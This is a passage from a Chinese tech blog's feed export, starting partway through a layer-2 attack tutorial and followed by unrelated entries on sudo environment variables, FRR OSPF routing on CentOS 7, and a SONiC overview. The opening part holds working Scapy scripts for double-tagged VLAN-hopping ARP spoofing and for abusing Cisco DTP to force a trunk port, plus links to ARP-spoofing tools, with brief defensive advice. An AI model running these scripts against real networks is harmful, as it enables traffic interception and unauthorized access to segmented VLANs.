&lt;p&gt;&lt;code&gt;VLAN&lt;&#x2F;code&gt;会限制对同一&lt;code&gt;VLAN&lt;&#x2F;code&gt;的端口的广播流量，因此我们不能在默认情况下应对所有的&lt;code&gt;ARP&lt;&#x2F;code&gt;请求，就像在第一个&lt;code&gt;ARP spoofing&lt;&#x2F;code&gt;例子中看到的那样，必须每隔几秒就向受害者告诉我们的&lt;code&gt;MAC&lt;&#x2F;code&gt;地址。除了我们对每个数据包进行了标记和加之的目的&lt;code&gt;VLAN&lt;&#x2F;code&gt;，下面的代码是通用的。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;#!python
#!&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;python

import time
from scapy.all import sendp, ARP, Ether, Dot1Q

iface = &amp;quot;eth0&amp;quot;
target_ip = &amp;#x27;192.168.13.23&amp;#x27;
fake_ip = &amp;#x27;192.168.13.5&amp;#x27;
fake_mac = &amp;#x27;c0:d3:de:ad:be:ef&amp;#x27;
our_vlan = 1
target_vlan = 2

packet = Ether() &amp;#x2F; \
                Dot1Q(vlan=our_vlan) &amp;#x2F; \
                Dot1Q(vlan=target_vlan) &amp;#x2F; \
                ARP(hwsrc=fake_mac,
                        pdst=target_ip,
                        psrc=fake_ip,
                        op=&amp;quot;is-at&amp;quot;)

while True:
        sendp(packet, iface=iface)
        time.sleep(10)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;幸运的是，防御这种类型的&lt;code&gt;VLAN&lt;&#x2F;code&gt;攻击并没有那么复杂：如果你真的想分离你的网络，只需要使用物理划分的交换机！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0x08-dtp-abusing&quot;&gt;0x08 DTP Abusing&lt;&#x2F;h2&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;code&gt;DTP&lt;&#x2F;code&gt;（动态中继协议）是一种由思科发明的专有协议，用于如果一个端口是&lt;code&gt;trunk&lt;&#x2F;code&gt;端口，则交换机之间可以动态地交流。&lt;code&gt;Trunk&lt;&#x2F;code&gt;端口通常用于互连交换机和路由器，以便共享一些或所有已知的&lt;code&gt;VLAN&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;为了能够执行下面的代码，你需要安装&lt;code&gt;Scapy&lt;&#x2F;code&gt;的开发版本。同时为了&lt;code&gt;check out&lt;&#x2F;code&gt;出源，请先安装&lt;code&gt;Mercurial&lt;&#x2F;code&gt;，然后键入以下命令来克隆&lt;code&gt;Scapy repository&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;hg clone http:&amp;#x2F;&amp;#x2F;hg.secdev.org&amp;#x2F;scapy scapy
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果你想跟踪&lt;code&gt;Scapy&lt;&#x2F;code&gt;的最新版本，你只需要时不时地更新&lt;code&gt;checkout&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;cd scapy
hg pull
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在你可以将旧版本的&lt;code&gt;Scapy&lt;&#x2F;code&gt;变成最新版的了。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;pip uninstall Scapy
cd scapy
python setup.py install
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;多亏了&lt;code&gt;DTP&lt;&#x2F;code&gt;协议，和它完全忽视任何一种安全的属性，我们现在就可以发送一个动态可取包到每一个启用DTP的思科设备，并要求它将我们的端口转变为&lt;code&gt;trunk&lt;&#x2F;code&gt;端口。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;#!python
#!&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;python

import sys
from scapy.layers.l2 import Dot3 , LLC, SNAP
from scapy.contrib.dtp import *

if len(sys.argv) &amp;lt; 2:
        print sys.argv[0] + &amp;quot; &amp;lt;dev&amp;gt;&amp;quot;
        sys.exit()

negotiate_trunk(iface=sys.argv[1])
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;作为一个可选参数，你可以设置欺骗相邻交换机的&lt;code&gt;MAC&lt;&#x2F;code&gt;地址，如果没有设置，则会自动生成一个随机值。&lt;&#x2F;p&gt;
&lt;p&gt;这种攻击可能会持续几分钟，但是攻击者并不关心延迟，因为他们知道在改变连接到每一个&lt;code&gt;VLAN&lt;&#x2F;code&gt;的可能性之后他们会得到什么！&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;vconfig add eth0 &amp;lt;vlan-id&amp;gt;
ifconfig eth0.&amp;lt;vlan-id&amp;gt; &amp;lt;ip_of_vlan&amp;gt; up
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;没有足够好的理由来使用&lt;code&gt;DTP&lt;&#x2F;code&gt;，所以干脆禁用掉它吧！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0x09-tools&quot;&gt;0x09 Tools&lt;&#x2F;h2&gt;
&lt;hr &#x2F;&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;NetCommander&lt;&#x2F;strong&gt;
&lt;code&gt;NetCommander&lt;&#x2F;code&gt;是一个简单的&lt;code&gt;ARP&lt;&#x2F;code&gt;欺骗程序。它通过对每一个可能的&lt;code&gt;IP&lt;&#x2F;code&gt;发送&lt;code&gt;ARP&lt;&#x2F;code&gt;请求，来搜索网络上存活的主机。你可以选择需要劫持的连接，然后每隔几秒，&lt;code&gt;NetCommander&lt;&#x2F;code&gt;就会自动地欺骗那些主机和默认网关之间的双向连接。
工具的源代码可以从这里下载：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;github.com&#x2F;evilsocket&#x2F;NetCommander&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fgithub.com%2Fevilsocket%2FNetCommander&quot;&gt;github.com&#x2F;evilsocket&#x2F;…&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Hacker’s Hideaway ARP Attack Tool&lt;&#x2F;strong&gt;
&lt;code&gt;Hacker’s Hideaway ARP Attack Tool&lt;&#x2F;code&gt;比&lt;code&gt;NetCommander&lt;&#x2F;code&gt;的功能多一些。除了欺骗特殊连接，它还支持被动欺骗所有对源&lt;code&gt;IP&lt;&#x2F;code&gt;的&lt;code&gt;ARP&lt;&#x2F;code&gt;请求，和&lt;code&gt;MAC&lt;&#x2F;code&gt;泛洪攻击。
工具的下载链接为：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;packetstormsecurity.org&#x2F;files&#x2F;81368&#x2F;hharp.py.tar.bz2&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fpacketstormsecurity.org%2Ffiles%2F81368%2Fhharp.py.tar.bz2&quot;&gt;packetstormsecurity.org&#x2F;files&#x2F;81368…&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Loki&lt;&#x2F;strong&gt;
&lt;code&gt;Loki&lt;&#x2F;code&gt;是一种像&lt;code&gt;Yersinia&lt;&#x2F;code&gt;的第二层和第三层攻击工具。它可以通过插件来扩展，也有一个漂亮的&lt;code&gt;GUI&lt;&#x2F;code&gt;界面。它实现了像&lt;code&gt;ARP&lt;&#x2F;code&gt;欺骗和泛洪，&lt;code&gt;BGP&lt;&#x2F;code&gt;，&lt;code&gt;RIP&lt;&#x2F;code&gt;路由注入之类的攻击，甚至可以攻击像HSRP和VRRP那样非常罕见的协议。
工具的源代码地址为：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;www.c0decafe.de&#x2F;loki.html&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fwww.c0decafe.de%2Floki.html&quot;&gt;www.c0decafe.de&#x2F;loki.html&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>在 sudo 中保留部分环境变量： sudo -E not effect</title>
        <published>2024-07-16T00:00:00+00:00</published>
        <updated>2024-07-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/在-sudo-中保留部分环境变量-sudo-e-not-effect/"/>
        <id>https://vercel.juzhong.asia/obsidian/在-sudo-中保留部分环境变量-sudo-e-not-effect/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/在-sudo-中保留部分环境变量-sudo-e-not-effect/">&lt;h1 id=&quot;zai-sudo-zhong-bao-liu-bu-fen-huan-jing-bian-liang-sudo-e-not-effect&quot;&gt;在 sudo 中保留部分环境变量： sudo -E not effect&lt;&#x2F;h1&gt;
&lt;p&gt;默认情况下，通过 sudo 在运行程序时，会重置一个运行环境，以“最小化”的环境的形式运行目标程序，该环境中仅存在几个预先定义的变量，此外可以通过 &lt;code&gt;env_keep&lt;&#x2F;code&gt; 和 &lt;code&gt;env_check&lt;&#x2F;code&gt; 两个选项来从当前运行环境中继承已有的环境变量。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cong-dang-qian-yun-xing-huan-jing-bao-liu-huan-jing-bian-liang-link&quot;&gt;从当前运行环境保留环境变量 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.leafee98.com&#x2F;essays&#x2F;preserve-some-env-variable-when-sudo&#x2F;#%E4%BB%8E%E5%BD%93%E5%89%8D%E8%BF%90%E8%A1%8C%E7%8E%AF%E5%A2%83%E4%BF%9D%E7%95%99%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;sudo&lt;&#x2F;code&gt; 具有 &lt;code&gt;-preserve-env&lt;&#x2F;code&gt; 参数，可以从当前环境中保留参数&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jin-bao-liu-cong-te-ding-wen-jian-zhong-ding-yi-de-huan-jing-bian-liang-link&quot;&gt;仅保留从特定文件中定义的环境变量 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.leafee98.com&#x2F;essays&#x2F;preserve-some-env-variable-when-sudo&#x2F;#%E4%BB%85%E4%BF%9D%E7%95%99%E4%BB%8E%E7%89%B9%E5%AE%9A%E6%96%87%E4%BB%B6%E4%B8%AD%E5%AE%9A%E4%B9%89%E7%9A%84%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;这里使用的发行版为 Debian bullseye，PAM 服务文件因发行版不同，其文件内容亦大不相同，本文仅供参考，自行修改 PAM 文件需谨慎。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;On systems that support PAM where the pam_env module is enabled for sudo, variables in the PAM environment may be merged in to the environment. If a variable in the PAM environment is already present in the user’s environment, the value will only be overridden if the variable was not preserved by sudoers.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在为 sudo 启用 &lt;code&gt;pam_env&lt;&#x2F;code&gt; 模块的系统中，则从 PAM 中读入和变量会合并到环境变量中，若干 PAM 中所导入的某一个变量在当前用户环境中已经存在，那么该变量会保持当前用户环境中的值，除非在 sudoer 的配置中该变量未被保留。&lt;&#x2F;p&gt;
&lt;p&gt;在 &lt;code&gt;&#x2F;etc&#x2F;pam.d&#x2F;sudo&lt;&#x2F;code&gt; 中添加如下配置，可从 &lt;code&gt;&#x2F;etc&#x2F;security&#x2F;pam_env.conf&lt;&#x2F;code&gt; 文件中获取环境变量。这行配置项的来源是 &lt;code&gt;&#x2F;etc&#x2F;pam.d&#x2F;su&lt;&#x2F;code&gt;，因 &lt;code&gt;su&lt;&#x2F;code&gt; 命令执行后会从 &lt;code&gt;pam_env.conf&lt;&#x2F;code&gt; 中导入环境变量而 &lt;code&gt;sudo&lt;&#x2F;code&gt; 不会，并且两个命令分别使用的 PAM 服务名称为 &lt;code&gt;su&lt;&#x2F;code&gt; 和 &lt;code&gt;sudo&lt;&#x2F;code&gt;，遂参考并修改。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# This module parses environment configuration file(s)
# and also allows you to use an extended config
# file &amp;#x2F;etc&amp;#x2F;security&amp;#x2F;pam_env.conf.
#
# parsing &amp;#x2F;etc&amp;#x2F;environment needs &amp;quot;readenv=1&amp;quot;
session       required   pam_env.so readenv=1
copy
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;参考：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.sudo.ws&#x2F;docs&#x2F;man&#x2F;1.8.15&#x2F;sudoers.man&#x2F;#Command_environment&quot;&gt;https:&#x2F;&#x2F;www.sudo.ws&#x2F;docs&#x2F;man&#x2F;1.8.15&#x2F;sudoers.man&#x2F;#Command_environment&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>CentOS7下利用FRR路由套件实现OSPF动态路由组网</title>
        <published>2024-07-15T00:00:00+00:00</published>
        <updated>2024-07-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/centos7下利用frr路由套件实现ospf动态路由组网/"/>
        <id>https://vercel.juzhong.asia/obsidian/centos7下利用frr路由套件实现ospf动态路由组网/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/centos7下利用frr路由套件实现ospf动态路由组网/">&lt;h1 id=&quot;centos7xia-li-yong-frrlu-you-tao-jian-shi-xian-ospfdong-tai-lu-you-zu-wang&quot;&gt;CentOS7下利用FRR路由套件实现OSPF动态路由组网&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;简介：&lt;&#x2F;strong&gt; CentOS7下利用FRR路由套件实现OSPF动态路由组网&lt;&#x2F;p&gt;
&lt;h2 id=&quot;frrouting-frr-jian-jie&quot;&gt;FRRouting（FRR）简介&lt;&#x2F;h2&gt;
&lt;p&gt;FRR 是一个路由软件套件，它衍生自 Quagga，并在 GNU GPL2 许可下分发。与 Quagga 一样，它为类 Unix 平台提供了所有主要路由协议的实现，例如 OSPF、 路由信息协议(Routing Information Protocol)（RIP）、 边界网关协议(Border Gateway Protocol)（BGP） 和 中间系统到中间系统(Intermediate system-to-intermediate system) （IS-IS）&lt;&#x2F;p&gt;
&lt;p&gt;FRRouting（FRR）是用于Linux和Unix平台的IP路由协议套件，其中 包括BGP，IS-IS，LDP，OSPF，PIM和RIP的协议守护程序。FRR与本机Linux &#x2F; Unix IP网络堆栈的无缝集成 使其适用于各种用例，包括将 主机&#x2F; VM &#x2F;容器连接到网络，广告网络服务，LAN 交换和路由，Internet接入路由器以及Internet对等。FRR起源于Quagga项目。实际上，它是由许多Quagga长期开发人员开始的，他们共同努力以改善Quagga的行之有效的基础，以创建可用的最佳路由协议堆栈&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xia-mian-jie-shao-zai-centos7xia-an-zhuang-frr-bing-yun-xing-ospf-bing-shi-xian-lu-you-hu-tong&quot;&gt;下面介绍在CentOS7下安装frr，并运行OSPF，并实现路由互通&lt;&#x2F;h3&gt;
&lt;p&gt;首先下载frr，官方站点&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;frrouting.org&#x2F;#downloads&quot;&gt;https:&#x2F;&#x2F;frrouting.org&#x2F;#downloads&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以在github上面下载CentOS7的rpm版本，为了方便起见就不选用源码编译的方式了&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;FRRouting&#x2F;frr&#x2F;releases&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;FRRouting&#x2F;frr&#x2F;releases&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;frr需要依赖rtrlib和libyang，在如下两个站点去下载CentOS7版本的rpm包&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ci1.netdef.org&#x2F;browse&#x2F;RPKI-RTRLIB&#x2F;latestSuccessful&#x2F;artifact&quot;&gt;https:&#x2F;&#x2F;ci1.netdef.org&#x2F;browse&#x2F;RPKI-RTRLIB&#x2F;latestSuccessful&#x2F;artifact&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ci1.netdef.org&#x2F;browse&#x2F;LIBYANG-YANGRELEASE&#x2F;latestSuccessful&#x2F;artifact&quot;&gt;https:&#x2F;&#x2F;ci1.netdef.org&#x2F;browse&#x2F;LIBYANG-YANGRELEASE&#x2F;latestSuccessful&#x2F;artifact&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;安装参考官方文档&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;docs.frrouting.org&#x2F;en&#x2F;latest&#x2F;&quot;&gt;http:&#x2F;&#x2F;docs.frrouting.org&#x2F;en&#x2F;latest&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;gen-ju-ru-xia-tuo-bu-tu-zuo-wei-ce-shi-huan-jing-an-zhuang-frrbing-zai-vtyshxia-pei-zhi-ospfzu-wang-shi-xian-lu-you-hu-tong&quot;&gt;根据如下拓扑图作为测试环境安装frr并在vtysh下配置ospf组网，实现路由互通&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;frr-ospf-centos7&#x2F;frr-ospf-test-topology.webp&quot; alt=&quot;640.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;frr-ospf-centos7&#x2F;frr-ospf-test-topology-2.webp&quot; alt=&quot;640.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;frr-ospf-centos7&#x2F;frr-ospf-topology.webp&quot; alt=&quot;640.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-xian-ti-qian-xia-zai-bing-zheng-li-hao-rpman-zhuang-bao&quot;&gt;1、先提前下载并整理好rpm安装包&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;frr-ospf-centos7&#x2F;frr-ospf-rpm-packages.webp&quot; alt=&quot;640.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;frr-ospf-centos7&#x2F;frr-rpm-packages.webp&quot; alt=&quot;640.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-pei-zhi-ben-di-iso-yumjing-xiang-yuan&quot;&gt;2、配置本地ISO yum镜像源&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;mkdir &amp;#x2F;CentOS_ISO&amp;#x2F;
SFTP上传镜像CentOS-7-x86_64-DVD-1810.iso
mkdir &amp;#x2F;mnt&amp;#x2F;cdrom
mount -t iso9660 &amp;#x2F;CentOS_ISO&amp;#x2F;CentOS-7-x86_64-DVD-1810.iso &amp;#x2F;mnt&amp;#x2F;cdrom
cd &amp;#x2F;etc&amp;#x2F;yum.repos.d&amp;#x2F;
mv CentOS-Base.repo CentOS-Base.repo_bak
mv CentOS-Media.repo CentOS-Media.repo_bak
vi CentOS-Media.repo
添加如下内容
[localyum]
name=CentOS-$releasever - Media
baseurl=file:&amp;#x2F;&amp;#x2F;&amp;#x2F;mnt&amp;#x2F;cdrom
gpgcheck=0
enabled=1
gpgkey=file:&amp;#x2F;&amp;#x2F;&amp;#x2F;mnt&amp;#x2F;cdrom&amp;#x2F;RPM-GPG-KEY-CentOS-7
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;3-yum-ben-di-an-zhuang-libssh-libyang-librtrhe-frr&quot;&gt;3、yum 本地安装libssh libyang librtr和frr&lt;&#x2F;h2&gt;
&lt;p&gt;yum localinstall的方式安装&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;yum localinstall libssh*.rpm
yum install librtr*.rpm
yum install rtr-tools-0.7.0-1.el7.x86_64.rpm
cd ..&amp;#x2F;libyang&amp;#x2F;
yum localinstall libyang*.rpm
yum localinstall perl-Net-Telnet-3.03-19.el7.noarch.rpm
yum localinstall frr*.rpm
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;4-nei-he-pei-zhi-wen-jian-zhong-qi-yong-ipzhuan-fa&quot;&gt;4、内核配置文件中启用IP转发&lt;&#x2F;h2&gt;
&lt;p&gt;enable IP forwarding in the kernel&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;echo &amp;quot;net.ipv4.conf.all.forwarding=1&amp;quot;&amp;gt;&amp;gt;&amp;#x2F;etc&amp;#x2F;sysctl.conf
echo &amp;quot;net.ipv6.conf.all.forwarding=1&amp;quot;&amp;gt;&amp;gt;&amp;#x2F;etc&amp;#x2F;sysctl.conf
sysctl -
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;5-xiu-gai-pei-zhi-wen-jian&quot;&gt;5、修改配置文件&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;vi &amp;#x2F;etc&amp;#x2F;frr&amp;#x2F;daemons
启用ospfd,设为on
systemctl enable frr.service
systemctl start frr.service
netstat -anp | grep ospfd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;frr-ospf-centos7&#x2F;frr-ospfd-netstat-listening.webp&quot; alt=&quot;640.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;6-vtyshdeng-lu-pei-zhi-lu-you-xie-yi&quot;&gt;6、 vtysh登录配置路由协议&lt;&#x2F;h2&gt;
&lt;p&gt;路由A&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;conf t
router ospf
 network 10.10.254.0&amp;#x2F;24 area 0
 network 172.16.30.0&amp;#x2F;24 area 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;路由B&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;conf t
 router ospf
 network 2.2.2.0&amp;#x2F;24 area 0
 network 10.10.254.0&amp;#x2F;24 area 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;do write file
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;frr-ospf-centos7&#x2F;vtysh-ospf-network-config.webp&quot; alt=&quot;640.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;frr-ospf-centos7&#x2F;vtysh-router-ospf-config.webp&quot; alt=&quot;640.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;frr-ospf-centos7&#x2F;frr-ospf-learned-route.webp&quot; alt=&quot;640.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;保存配置&lt;&#x2F;p&gt;
&lt;p&gt;show ip route 可以看到RouterA学习到了一条去往2.2.2.0&#x2F;24的OSPF动态路由&lt;&#x2F;p&gt;
&lt;p&gt;ping 测试路由是否互通&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;frr-ospf-centos7&#x2F;ospf-ping-connectivity-test-2.webp&quot; alt=&quot;640.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;frr-ospf-centos7&#x2F;ospf-ping-connectivity-test.webp&quot; alt=&quot;640.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;ping 2.2.2.2可以ping通，说明ospf动态路由组网OK&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>SONiC学习笔记（一）：概述与安装</title>
        <published>2024-07-15T00:00:00+00:00</published>
        <updated>2024-07-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/sonic学习笔记-一-概述与安装/"/>
        <id>https://vercel.juzhong.asia/obsidian/sonic学习笔记-一-概述与安装/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/sonic学习笔记-一-概述与安装/">&lt;h1 id=&quot;sonicxue-xi-bi-ji-yi-gai-shu-yu-an-zhuang&quot;&gt;SONiC学习笔记（一）：概述与安装&lt;&#x2F;h1&gt;
&lt;p&gt;这几天都在看和SONiC相关的资料，所以按照习惯，这里也简单的对学习的结果进行一个总结，希望也能对其他对SONiC感兴趣的小伙伴有所帮助。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-wei-shen-me-yao-zuo-sonic&quot;&gt;1. 为什么要做SONiC&lt;&#x2F;h2&gt;
&lt;p&gt;我们知道交换机内部都有一套可大可小的操作系统，用于配置和查看交换机的状态。但是，从1986年第一台交换机面世开始，虽然各个厂商都在进行着相关的开发，到现在为止种类也相当的多，但是依然存在一些问题，比如：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;生态封闭，不开源，主要是为了支持自家的硬件，无法很好的兼容其他厂商的设备&lt;&#x2F;li&gt;
&lt;li&gt;支持的场景很有限，难以使用同一套系统去支撑大规模的数据中心中复杂多变的场景&lt;&#x2F;li&gt;
&lt;li&gt;升级可能会导致网络中断，难以实现无缝升级，这对于云提供商来说有时候是致命的&lt;&#x2F;li&gt;
&lt;li&gt;设备功能升级缓慢，难以很好的支持快速的产品迭代&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;所以，微软在2016年开源了SONiC，希望能够通过开源的方式，让SONiC能够成为一个通用的网络操作系统，从而解决上面的问题。而且，由于Azure的背书，也能保证SONiC确实能够承受大规模的生产环境的考验，这也是SONiC的一个优势。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-zhu-ti-jia-gou&quot;&gt;2. 主体架构&lt;&#x2F;h2&gt;
&lt;p&gt;SONiC是微软开发的基于debian的开源的网络操作系统，它的设计核心思想有三个：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;硬件和软件解耦&lt;&#x2F;strong&gt;：通过SAI（Switch Abstraction Interface）将硬件的操作抽象出来，从而使得SONiC能够支持多种硬件平台。这一层抽象层由SONiC定义，由各个厂商来实现。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;使用docker容器将软件微服务化&lt;&#x2F;strong&gt;：SONiC上的主要功能都被拆分成了一个个的docker容器，和传统的网络操作系统不同，升级系统可以只对其中的某个容器进行升级，而不需要整体升级和重启，这样就可以很方便的进行升级和维护，支持快速的开发和迭代。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;使用redis作为中心数据库对服务进行解耦&lt;&#x2F;strong&gt;：绝大部分服务的配置和状态最后都被存储到中心的redis数据库中，这样不仅使得所有的服务可以很轻松的进行协作（数据存储和pubsub），也可以让我们很方便的在上面开发工具，使用统一的方法对各个服务进行操作和查询，而不用担心状态丢失和协议兼容问题，最后还可以很方便的进行状态的备份和恢复。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
